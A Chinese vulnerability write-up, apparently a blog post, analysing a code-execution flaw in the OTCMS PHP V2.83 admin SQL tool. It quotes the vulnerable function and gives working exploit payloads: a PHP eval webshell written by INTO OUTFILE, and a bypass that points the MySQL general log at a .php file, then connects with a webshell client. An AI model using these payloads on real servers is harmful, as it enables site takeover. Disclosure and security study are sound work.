【代码审计】OTCMS_PHP_V2.83_代码执行漏洞分析

 

0x00 环境准备

OTCMS官网:http://otcms.com

网站源码版本:网钛CMS PHP版 V2.83 [更新于2017.12.31]

程序源码下载:http://d.otcms.com/php/OTCMS_PHP_V2.83.rar

测试网站首页:

 

0x01 代码分析

1、漏洞文件地址:/admin/sysCheckFile_deal.php  第523--540行:  

  1.  function SqlDeal(){  
  2.     global $DB,$skin,$mudi,$menuFileID,$menuTreeID;  
  3.   
  4.     $backURL        = OT::PostStr('backURL');  
  5.     $sqlContent     = OT::PostStr('sqlContent');  
  6.   
  7.     if (strlen($sqlContent) == 0){  
  8.         JS::AlertBackEnd('SQL语句不能为空.');  
  9.     }  
  10. 10.   
  11. 11.     $judRes = $DB->query($sqlContent);  
  12. 12.         if ($judRes){  
  13. 13.             $alertResult = '成功';  
  14. 14.         }else{  
  15. 15.             $alertResult = '失败';  
  16. 16.         }  
  17. 17.   
  18. 18.     JS::AlertHrefEnd('执行'. $alertResult .'', $backURL);  
  19. 19.   

20. }  

这段函数中,首先进行接收参数,判断sqlContent是否为空,然后带入到数据库中执行,根据返回结果判断语句是否执行成功。可以看到参数并未进行任何过滤或处理,导致程序在实现上存在代码执行漏洞,攻击者可以构造SQL语句写入脚本代码,进一步触发代码执行,控制网站服务器权限。

0x02 漏洞利用

1、登录后台,首先通过数据库备份功能获取网站物理路径:

 

2、访问漏洞地址,构造SQL语句进行文件写操作

漏洞URL:http://127.0.0.1/admin/sysCheckFile.php?mudi=sql

Payload:

  1. select '<?php eval($_POST[g]);?>' into outfile 'e:/study/WWW/otcms/Data_backup/1.php' 

执行失败,程序在into outfile进行限制了。

3、如何绕过这种限制?

构造SQL语句利用日志写入文件:

  1. Payload:
  2. set global general_log = on;    #开启general log模式  
  3. set global general_log_file = 'e:/study/WWW/otcms/Data_backup/1.php'; #设置日志目录为shell地址  
  4. select '<?php eval($_POST[g]);?>'  #写入shell  

 

4、成功触发脚本代码

 

 

5、通过菜刀连接,获取网站服务器控制权限

 

 

0x03 修复建议

1、Mysql数据库降权处理,让入侵者无法做高权限下可做的事!

最后

欢迎关注个人微信公众号:Bypass--,每周原创一篇技术干货。 

 

 

CMS(OTCMS)PHP版以简单、实用、傻瓜式操作而闻名,无论在功能,人性化,还是易用性方面,都有了长足的发展,CMS的主要目标用户锁定在中小型站站长,让那些对络不是很熟悉,对站建设不是很懂又想做站的人能很快搭建起一个功能实用又强大,操作人性又易用。CMS(OTCMS) PHP版 5.80 更新日志:2021-01-3101.[新增]增加对站内信息 插件的支持;02.[新增]管理员专区→后台参数配置新增提示待处理信息频率/范围(会员投稿未审核文章、举报未阅读记录、站内信息未阅读、积分商城有新订单 后台会标题提示和提示音响起);03.[新增]后台界面页头增加定时提示待处理信息 显示区,可附带是否开启提示音;04.[新增]重置大小写表脚本加入到后台,管理员专区→程序文件检查-[获取数据库结构];05.[改变]前台注册用户名汉字改为占2字节,最多可以填8个汉字;06.[插件]会员管理→会员参数设置,会员登录/注册 新增 邀请人信息项,开启,会员注册时如果有通过邀请链接进来会显示邀请人的用户名(需要 邀请分销 插件支持);07.[插件]后台新增/修改会员,增加推荐人编辑框;08.[插件]邀请好友 插件,升级为邀请注册&分销 插件,最多支持二级分销,会员中心,邀请好友,菜单,增加团队1级和2级人数和名单列表;09.[插件]前台会员中心-邀请好友,邀请链接,增加二维码模式和带有二维码的海报模式(海报图片要自己设计上替换系统默认图片即可);10.[插件]常规设置→插件参数设置,会员类,新增邀请分销抽成和邀请抽成范围(用户注册、在线充值);11.[插件]后台会员管理→文章浏览记录,增加删除几天前所有记录功能(需要文章浏览记录,插件支持);12.[插件]后台会员管理→文章收藏记录,增加删除几天前所有记录功能(需要文章收藏记录,插件支持);13.[插件]后台会员管理→文章下载记录,增加删除几天前所有记录功能(需要文章下载记录,插件支持);14.[插件]后台常规设置→举报管理,增加状态信息(已阅/未阅),以及全部设为已阅按钮(需要举报模块,插件支持);15.[插件]后台采集管理→采集项目管理,纯静态路径前提下,底部会有生成静态页,按钮,打钩采集时会采集完一篇生成这篇内容静态页;16.修复几处细节BUG。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Bypass--

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值